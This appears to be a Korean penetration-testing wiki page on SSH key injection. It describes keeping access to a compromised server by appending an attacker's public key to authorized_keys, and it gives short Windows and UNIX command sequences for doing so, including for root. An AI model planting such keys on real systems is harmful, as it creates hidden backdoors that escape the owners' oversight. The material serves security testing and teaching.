> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/persistence/local/ssh-key-injection.md).

# SSH Key Injection

SSH 키 쌍을 생성하여 장악한 서버의 인증된 키로 등록할 경우, 언제든 자신의 비밀키를 이용하 쉘 접속이 가능합니다.

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 공개키 알고리즘 키 생성
</strong>ssh-keygen -t ecdsa

<strong># 생성한 공개키를 서버에 등록
</strong>echo &#x3C;id_rsa.pub> >> C:\Users\mick3y\.ssh\authorized_keys

<strong># 패스워드 없이 비밀키로 서버에 접속
</strong>ssh -i id_rsa mick3y@192.168.1.14
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre><code><strong># 공개키 알고리즘 키 생성
</strong>ssh-keygen -t rsa -b 4096

<strong># 생성한 공개키를 서버에 등록
</strong>echo &#x3C;id_rsa.pub> >> ~/.ssh/authorized_keys

<strong># 패스워드 없이 비밀키로 서버에 접속
</strong>ssh -i id_rsa root@192.168.1.23
</code></pre>

{% endtab %}
{% endtabs %}
